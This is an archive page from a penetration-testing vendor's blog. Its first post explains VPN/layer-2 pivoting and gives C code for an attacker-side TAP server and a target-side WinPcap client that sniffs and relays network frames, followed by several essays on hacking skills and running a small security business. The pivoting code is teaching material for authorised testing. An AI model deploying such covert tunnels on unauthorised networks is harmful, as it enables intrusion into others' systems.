Archive for the ‘Uncategorized’ Category

h1

How VPN Pivoting Works (with Source Code)

October 14, 2014

A VPN pivot is a virtual network interface that gives you layer-2 access to your target’s network. Rapid7’s Metasploit Pro was the first pen testing product with this feature. Core Impact has this capability too.

In September 2012, I built a VPN pivoting feature into Cobalt Strike. I revised my implementation of this feature in September 2014. In this post, I’ll take you through how VPN pivoting works and even provide code for a simple layer-2 pivoting client and server you can play with. The layer-2 pivoting client and server combination don’t have encryption, hence it’s not correct to refer to them as VPN pivoting. They’re close enough to VPN pivoting to benefit this discussion though.

https://github.com/rsmudge/Layer2-Pivoting-Client

The VPN Server

Let’s start with a few terms: The attacker runs VPN server software. The target runs a VPN client. The connection between the client and the server is the channel to relay layer-2 frames.

To the attacker, the target’s network is available through a virtual network interface. This interface works like a physical network interface. When one of your programs tries to interact with the target network, the operating system will make the frames it would drop onto the wire available to the VPN server software. The VPN server consumes these frames, relays them over the data channel to the VPN client. The VPN client receives these frames and dumps them onto the target’s network.

Here’s what the process looks like:

vpnserver

The TAP driver makes this possible. According to its documentation, the TUN/TAP provides packet reception and transmission for user space programs. The TAP driver allows us to create a (virtual) network interface that we may interact with from our VPN server software.

Here’s the code to create a TAP [adapted from the TUN/TAP documentation]:

#include <linux/if.h>
#include <linux/if_tun.h>

int tun_alloc(char *dev) {
	struct ifreq ifr;
	int fd, err;

	if( (fd = open("/dev/net/tun", O_RDWR)) < 0 )
		return tun_alloc_old(dev);

	memset(&ifr, 0, sizeof(ifr));
	ifr.ifr_flags = IFF_TAP | IFF_NO_PI; 

	if( *dev )
		strncpy(ifr.ifr_name, dev, IFNAMSIZ);

	if( (err = ioctl(fd, TUNSETIFF, (void *) &ifr)) < 0 ) {
		close(fd);
		return err;
	}

	strcpy(dev, ifr.ifr_name);
	return fd;
}

This function allocates a new TAP. The dev parameter is the name of our interface. This is the name we will use with ifconfig and other programs to configure it. The number it returns is a file descriptor to read from or write to the TAP.

To read a frame from a TAP:

int totalread = read(tap_fd, buffer, maxlength);

To write a frame to a TAP:

write(tap_fd, buffer, length);

These functions are the raw ingredients to build a VPN server. To demonstrate tunneling frames over layer 2, we’ll take advantage of simpletun.c by Davide Brini.

simpletun.c is an example of using a network TAP. It’s ~300 lines of code that demonstrates how to send and receive frames over a TCP connection. This GPL(!) example accompanies Brini’s wonderful Tun/Tap Interface Tutorial. I recommend that you read it.

When simpletun.c sends a frame, it prefixes the frame with an unsigned short in big endian order. This 2-byte number, N, is the length of the frame in bytes. The next N bytes are the frame itself. simpletun.c expects to receive frames the same way.

To build simpletun:

gcc simpletun.c -o simpletun

Note: simpletun.c allocates a small buffer to hold frame data. Change BUFSIZE on line 42 to a higher value, like 8192. If you don’t do this, simpletun.c will eventually crash. You don’t want that.

To start simpletun as a server:

./simpletun -i [interface] -s -p [port] -a

The VPN Client

Now that we understand the VPN server, let’s discuss the VPN pivoting client. Cobalt Strike’s VPN pivoting client sniffs traffic on the target’s network. When it sees frames, it relays them to the VPN pivoting server, which writes them to the TAP interface. This causes the server’s operating system to process the frames as if they were read off of the wire.

vpnclient

Let’s build a layer-2 pivoting client that implements similar logic. To do this, we will use the Windows Packet Capture API. WinPcap is the Windows implementation of  LibPCAP and RiverBed Technology maintains it.

First, we need to open up the target network device that we will pivot onto. We also need to put this device into promiscuous mode. Here’s the code to do that:

pcap_t * raw_start(char * localip, char * filterip) {
	pcap_t * adhandle   = NULL;
	pcap_if_t * d       = NULL;
	pcap_if_t * alldevs = NULL;
	char errbuf[PCAP_ERRBUF_SIZE];

	/* find out interface */
	d = find_interface(&alldevs, localip);

	/* Open the device */
	adhandle = (pcap_t *)pcap_open(d->name, 65536, PCAP_OPENFLAG_PROMISCUOUS | PCAP_OPENFLAG_NOCAPTURE_LOCAL, 1, NULL, errbuf);
	if (adhandle == NULL) {
		printf("\nUnable to open the adapter. %s is not supported by WinPcap\n", d->name);
		return NULL;
	}

	/* filter out the specified host */
	raw_filter_internal(adhandle, d, filterip, NULL);

	/* ok, now we can free out list of interfaces */
	pcap_freealldevs(alldevs);

	return adhandle;
}

Next, we need to connect to the layer-2 pivoting server and start a loop that reads frames and sends them to our server. I do this in raw.c. Here’s the code to ask WinPcap to call a function when a frame is read:

void raw_loop(pcap_t * adhandle, void (*packet_handler)(u_char *, const struct pcap_pkthdr *, const u_char *)) {
	pcap_loop(adhandle, 0, packet_handler, NULL);
}

The packet_handler function is my callback to respond to each frame read by WinPCAP. It writes frames to our layer-2 pivoting server. I define this function in tunnel.c.

void packet_handler(u_char * param, const struct pcap_pkthdr * header, const u_char * pkt_data) {
	/* send the raw frame to our server */
	client_send_frame(server, (void *)pkt_data, header->len);
}

I define client_send_frame in client.c. This function writes the frame’s length and data to our layer-2 pivoting server connection. If you want to implement a new channel or add encryption to make this a true VPN client, client.c is the place to explore this.

We now know how to read frames and send them to the layer-2 pivoting server.

Next, we need logic to read frames from the server and inject these onto the target network. In tunnel.c, I create a thread that calls client_recv_frame in a loop. The client_recv_frame function reads a frame from our connection to the layer-2 server. The pcap_sendpacket function injects a frame onto the wire.

DWORD ThreadProc(LPVOID param) {
	char * buffer = malloc(sizeof(char) * 65536);
	int len, result;
	unsigned short action;

	while (TRUE) {
		len = client_recv_frame(server, buffer, 65536);

		/* inject the frame we received onto the wire directly */
		result = pcap_sendpacket(sniffer, (u_char *)buffer, len);
		if (result == -1) {
			printf("Send packet failed: %d\n", len);
		}
	}
}

This logic is the guts of our layer-2 pivoting client. The project is ~315 lines of code and this includes headers. Half of this code is in client.c which is an abstraction of the Windows Socket API. I hope you find it navigable.

To run the layer-2 pivoting client:

client.exe [server ip] [server port] [local ip]

Once the layer-2 client connects to the layer-2 server, use a DHCP client to request an IP address on your attack server’s network interface [or configure an IP address with ifconfig].

Build Instructions

I’ve made the source code for this simple Layer-2 client available under a BSD license. You will need to download the Windows PCAP Developer Pack and extract it to the folder where the layer-2 client lives. You can build the layer-2 client on Kali Linux with the included Minimal GNU for Windows Cross Compiler. Just type ‘make’ in its folder.

Deployment

To try this Layer-2 client, you will need to install WinPcap on your target system. You can download WinPcap from RiverBed Technology. And, that’s it. I hope you’ve enjoyed this deep dive into VPN pivoting and how it works.

The layer-2 client is a stripped down version of Cobalt Strike’s Covert VPN feature. Covert VPN compiles as a reflective DLL. This allows Cobalt Strike to inject it into memory. The Covert VPN client and server encrypt the VPN traffic [hence, VPN pivoting]. Covert VPN will also silently drop a minimal WinPcap install and clean it up for you. And, Covert VPN supports multiple data channels. It’ll tunnel frames over TCP, UDP, HTTP, or through Meterpreter.

h1

The #1 Trait of a Successful Hacker

May 8, 2014

For some people, programming comes naturally to them. For others, it’s a struggle or something that doesn’t click with the way they think. The same thing with hacking.

Hackers often complain about “script kiddies”, people who use tools without any clue about what they do. What’s the difference between someone who will become a good hacker and someone who will stay a script kiddie, forever?

I know the answer. Here it is.  The number one trait for a successful hacker is the ability to reason about things one can’t directly observe.

Since a hacker is in the business of circumventing controls or discovering the unknown, they’re constantly in the blind. They have to reason about what they’re trying to hack though. If they can’t, they’ll never figure out the system they’re working on.

This innate ability to reason comes from a solid mental model. A mental model is your ability to quickly ask a question and have several guesses at an answer. When someone asks me a question, sometimes I have a few ideas. Other times I’m stuck. I’m stuck when I have no reference for the situation as described to me. Sometimes, I’m stuck because there are too many possibilities and I don’t have enough information to pick one. This is how I feel when with 99% of the Armitage “support requests” I get.

Where does a mental model come from? A mental model comes from knowing how something works. Reading, attending classes, and otherwise consuming information provide some of the pieces of a mental model, but inactive learning, by itself, will not build a mental model for you. To create a mental model, you have to do something active with these pieces. This active piece requires envisioning an outcome or goal, attempting it, failing, figuring out why, and going on to eventually succeed with the task. There’s an emotion that goes with this active learning process. It’s called frustration.

If you’re frustrated at different times while you’re learning or doing, but you still get the job done, then congratulations–you’re building your mental model.

When I was working on the browser pivoting feature for Cobalt Strike, I had the benefit of an unexpected learning experience. My proxy server would process a request, send a response, and close the socket. In local testing, this worked perfectly. When I used a port forward through Meterpreter, it would work most of the time.  When I tried to browser pivot with Meterpreter tunneled through Cobalt Strike’s Beacon connected to Amazon’s EC2–requests failed 90% of the time.

What happened? Why was it failing? I could have thrown up my hands and said “it doesn’t work” or “this lousy performance is acceptable”. I went through each component of my system and tried to understand it. Eventually, I figured out that my call to closesocket would make a best effort to finish sending data in the socket’s outbound queue. Usually, this worked fine. As I introduced latency into my pivoting process, I increased the opportunity for data to get discarded. Before I released this feature, I was able to solve this problem.

This frustrating experience improved my mental model. I couldn’t just look at my code to solve the problem. I had to setup experiments and reason about parts of the system I didn’t write or have full knowledge of.

If you want to succeed as a hacker, learn to troubleshoot. Learn how the things around you work. If you can’t directly observe a detail, learn how to get the answer another way. If you run out of ideas, keep digging. The answer is out there.

h1

Meat and Potatoes

April 17, 2014

I’m well over 100 posts into this blog now. Wow! I’ve had several blogs in the past, but this is one of the few I’ve had a consistent run with. The other was the After the Deadline blog, which gets fewer updates since I left the project.

After 100 posts, I feel it’s time to capture what this blog is about and what I hope it says to you. It’s probably no surprise, but this is the “official” blog for Strategic Cyber LLC, which is my company and my full-time occupation. I get asked “what else do you do?” a lot. I want to make it crystal clear that this business has and has had my full-time focus for the past two and a half years.

I try to blog once each week; that’s my goal. Sometimes, I feel like writing and I draft several posts at once. It takes awhile to make a post suitable to publish. Right now, I have hundreds of posts in various draft states. Each week, I try to find the one that is close to publishable and I fix it up.

seriously

I blog each week because this is my signal to you that I’m alive. When I evaluate a company, I look at two things. I look at the footer of their website to see the copyright date. I then look at their blog. If the copyright date says 2007 or if their blog is dead, I assume that the company is dead. I don’t want to be that company, so I pay attention to these two things. The rest is gravy.

I write a lot of posts about basic penetration testing and Metasploit Framework stuff. Someone on Reddit once commented that some of my posts have a lot of insight, but others are hacking 101. There’s a reason for this…

It’s probably no surprise, but I don’t know everything about hacking or how different hacking techniques work. I’ve met many who claim they do. I’m not as good as these amazing geniuses among us. I’m learning every day. I watch presentations, I read source code, and I conduct experiments. Cobalt Strike is a great driver of this, as most features I implement require me to learn something new. It’s a lot of fun.

Several of my blog posts capture the essence of something I learned. My popular Bypass UAC blog post summarizes what I learned implementing this feature into Cobalt Strike’s Beacon. I didn’t understand this attack and the left and right bounds of it before this work. I reckoned that if the material were new to me, it’s new to someone else. So, I took the time to write about.

My recent post on getsystem falls along the same lines. I knew how to type getsystem. I understand what SYSTEM is. I didn’t understand what happened when I typed the command. I was surprised by what I found out. I wrote a blog post on it.

Other blog posts come from customer questions. Semi-regularly, I would get exasperated support requests from someone who had trouble sending a phish to their Gmail account. I tired of trying to rapid-fire explain email delivery on a case-by-case basis. I wrote a blog post about Email Delivery and spent a lot of time on issues that affect penetration testers. Writing this post wasn’t a simple matter of transferring my knowledge into the written word. I had to verify everything I wrote. During this process, I found that my understanding of some topics was off (e.g., my working knowledge of SPF was way off).

This verification is another reason I write and I teach. Both of these things keep me honest. Publishing code and writing are two ways to feel very naked. I know that if I misstate something or mislead someone, I will get called out. This is pretty intimidating. That said, if I can’t handle that intimidation, I probably have no business developing tools that other experts use to do an important job. So, I take it in stride.

Some blogs posts summarize my experiences. I care a lot about operations. I like to reflect on how people work, how things work, and how tools can work together and complement each other. When it’s appropriate to do so, I use this blog as a place to share my experiences about how I use my tools, how others use them, and different ways to organize a team. I think it’s important for tool developers to ground themselves in the reality of how people use and react to their tools. I spend a lot of time using my tools with other professionals to keep myself grounded.

My regular use of Cobalt Strike is what gives me so much confidence in this toolset. I see it do amazing things all of the time. Some days, I can’t believe I’m the one who works on it.

In terms of audience, I primarily write for the people who already read this blog. I used to have a keen interest in attracting attention for each post. I’d measure a post’s success by how many views it received in its first day. This pressure took some of the fun away from writing and it restricted me from writing what interested me. I won’t say I have more readers since this change—I don’t. But, freeing myself from this metric allows me to write with more candor. That’s how this blog ends up with posts like this one. It satisfies my weekly goal, allows me to say something I wanted to share, and do so in a way that’s free from any expectations.

So, what’s this blog about? It’s a signal that I’m alive and working on your behalf. It’s also an opportunity to share what I’m learning as I go.

h1

Survival Skills for Small Infosec Vendors

April 11, 2014

Information Security is a strange field. There are probably few professions with such a wide range of social skills and preferences as the information security profession. Personally, I think this is what’s fun. It’s pretty cool that an MC can take a shot of vodka before introducing a speaker at a conference. Unfortunately, the perceived anything goes nature of this field, leads some of us to take it too far.

If you do business in this industry, here are a few principles that you may want to adhere to:

  1. Always project an image of success. No one wants to do business with failure. If folks like you enough, a sob story might get you some overflow work, but ultimately–it’s a losing strategy. Hold on to your self-respect and carry yourself the way you want the world to perceive you.
  2. Treat everyone with respect. There are some extremely intelligent people in this field. Extremely intelligent people reading this, look around! You’re surrounded by other extremely intelligent people. Intelligence is not a right to disrespect others. People have memories. The person you disrespect today, because you’re a hacker rock star, may be the person who chooses not to refer work to your new venture.
  3. Stay open to other ideas. None of us are going to solve security single-handedly. Period. Get used to the idea that others will have ideas and work on them. Sometimes their ideas will overlap with your area. Great! Don’t feel threatened. Continue to innovate, let them innovate, and see which ideas shake out. It’s best for everyone.
  4. If you want something, ask. Unfortunately, business isn’t like a conference call for papers. Opportunities happen not because of a democratic process or merit. They happen because of hustle. If you want to get involved with something, ask. Do so politely and in private. If it’s not appropriate, you’ll receive a respectful and dignified response in return. If it is, you’ll be amazed at the doors that open up to you, all because you asked for an opportunity.
  5. Keep your promises. If you commit to do something for someone, even if it means sending an email. Do it. If you find this is hard, learn to say no. You won’t damage relationships by saying no. You will damage relationships by failing to live up to things you promised.
  6. Deal with rejection, privately. Didn’t get accepted to the conference of a lifetime? Were you slighted on twitter? Did someone blatantly and for no good reason trash your work on Twitter? Oh well. Rejection happens. It happens to everyone. If you take things personally, process it privately, and move on. Turning every perceived slight into an online slug fest will only further damage your self-esteem and cause others to lose respect for you.
  7. Never insult your audience. This is an important public speaking tip. Some folks react to certain questions with disdain. Don’t. If someone asks a question, it means they don’t know the answer and probably others don’t either. Never treat your audience or professional community with disdain. Again, you’re surrounded by extremely intelligent people.
  8. Never insult your peers. If we’re on stage together–don’t tell the audience “I did _______. There’s probably only one or two other people here who could do _________”. Some of us may disagree with your assessment of our skills and capability or the novelty of what you’re touting. These kinds of public statements rarely have positive ramifications.
  9. Set a good example. Decide what your principles are. Decide how it is you want others to treat you. Treat others this way. It’s not always easy and we all falter. But, try to do your best. That’s all anyone can ask of you.
h1

Why I give all of my training material away—for free

February 5, 2014

I’m the developer of a commercial penetration testing product, Cobalt Strike. People are often amazed that I have a free 9-part Penetration Testing course on my website. This 9-part course is all of the material from my paid two-day class: Advanced Threat Tactics.

Why do I give away my training product, for free?

I know my business model. I sell software licenses. This is how my company brings in revenue and pays for my work. Anything that helps sell software licenses or encourage renewals is a valid business activity.

By making my training available for free and with no registration—I provide a friction free and controlled experience for anyone to learn about my product. Anyone can go through my course and decide if my product is of interest to them or not. This helps sell new licenses to the right customers.

For my existing customers—the online training provides a way to bring their Cobalt Strike users up to speed. This reduces my support burden greatly. In general–my customers know how to use my product. Customers who know how to use a product are customers that are more likely to renew it when the time comes. This is a win too.

Lectures by themselves are fine—but real learning happens by doing. I cater to this too. I put together a mini-penetration testing environment and wrote step-by-step labs that map to this online course. I give away thousands of DVDs with this lab environment at security conferences each year. It’s the easiest sales pitch in the world: “would you like a free penetration testing lab?” “sure” “great, come back if you have any questions”. That’s it.

If you ever wanted to know how I sell my enterprise software—this is it. I share what I want others to know about my product—in a friction free and scalable way. This makes it easy for potential users to understand what I offer and make a good decision based on their needs.

h1

My 2013 Year in Blogging

January 1, 2014

WordPress.com is kind enough to email statistics on blog readership towards the end of the year. In 2013, I posted 60 posts. I accomplished personal goal to publish an average of one post each week.

Here are this year’s 2013’s top-10 posts according to total views:

  1. How to crack Cobalt Strike AND backdoor it
  2. Missing in Action: Armitage on Kali Linux
  3. Getting Started with Armitage and the Metasploit Framework (2013)
  4. Why is notepad.exe connecting to the internet?
  5. That’ll never work–we don’t allow port 53 out
  6. Browser Pivoting (Get past two-factor auth)
  7. Tactics to Hack an Enterprise Network
  8. Email Delivery – What Pen Testers Should Know
  9. WRCCDC – A Red Team Member’s Perspective
  10. How to Inject Shellcode from Java

 

h1

I was most productive–when I was unemployed

October 24, 2013

I have a friend, who worked as a penetration tester, and recently he quit his job to take some time to himself. For the past few months, he’s learned new technologies and spent time on a few personal projects. My friend 1qaz@WSX isn’t the only person like this. I have another friend, 3edc$RFV, who left a management career to do the same thing. He now works as a security researcher.

From both of my friends, their stories have a common thread: they both felt extremely productive when the burdens of the workplace were temporarily taken away from their lives.

I feel productive too. But, I’m productive and I get paid for the privilege of learning while I work. I run a product company. Why do I feel more productive now, than when I worked for someone else?

Could it be working from home (or the freedom to choose where I work)? I don’t think this is the case. I left the US Air Force in 2008, and I’ve either worked from home or was self-employed for all but 11 months since that time. I don’t think working from home by itself makes a big difference.

I think the difference is lack of accountability to anyone, but myself.

Right now, when I design a feature or decide to pursue an idea, I do it without fear of failure. If an idea fails, I chalk it up and go on to the next thing. When I worked at Automattic (WordPress.com), I had a great degree of autonomy. I worked on the After the Deadline software service. I decided how to spend my time. Ultimately though, I knew what folks saw. No one saw my experiments and failed ideas. My coworkers, community, and boss saw the occasional blog post that would announce something new. I felt, that to keep my job, I needed to regularly release something to the world that showed tangible progress.

I do this now too. I try to write a blog post once each week. This blog post is a ping to the world to let you know that I’m alive, I’m focused on my company, and my head is operating in this space. Some of my blog posts get a lot of reads, some only get a few. I write with reader statistics as a secondary goal. The first goal is to hit Publish once each week.

I also feel pressure to regularly push out Cobalt Strike releases. I don’t worry so much about features. New features are a natural side effect of pushing out releases. I focus primarily on making my product better with each release. If all I did was fix bugs and improve user experience, I would consider that a win.

So, working for myself, or working for someone else, I try to demonstrate my productivity by regularly giving the world something tangible to look at. If I have one ability or personal habit that makes entrepreneurship a viable path for me–this is it. This is my secret to forward progress.

Keeping these factors the same, why is an additional layer of accountability a problem? How does it introduce drag on my productivity? The difference comes when I slip. If I slip, I know that I am accountable only to myself. If something goes wrong, I’ll beat myself up sufficiently (if it’s warranted). If something goes wrong that is out of my control, I shrug my shoulders and move on. I don’t worry about how my supervisor or their supervisor will react.

I tend to put off paperwork. Will my tendency to dismiss paperwork or other manufactured requirements make me look like a flake, despite real accomplishments? Right now, this isn’t a remote a concern–well, not until the city dissolves my corporation for missing a filing deadline. But hey! At least I can peg real consequences to most of the paperwork I do.

Long story short, working for myself I feel the freedom to use my best judgement and execute at maximum speed. I can see something through to completion. I can kill a bad idea when I smell it–even if I thought it was great for awhile. I can evaluate potential customers or work and say no to undesirable situations. Working for others, even in an environment with a great deal of trust an autonomy, I never felt this. Now, I don’t second guess myself.

This ability to execute, with no drag, is probably why my friends were able to become so productive while unemployed. Me? I’m thankful I get to do this for a living.

Follow

Get every new post delivered to your Inbox.

Join 13,357 other followers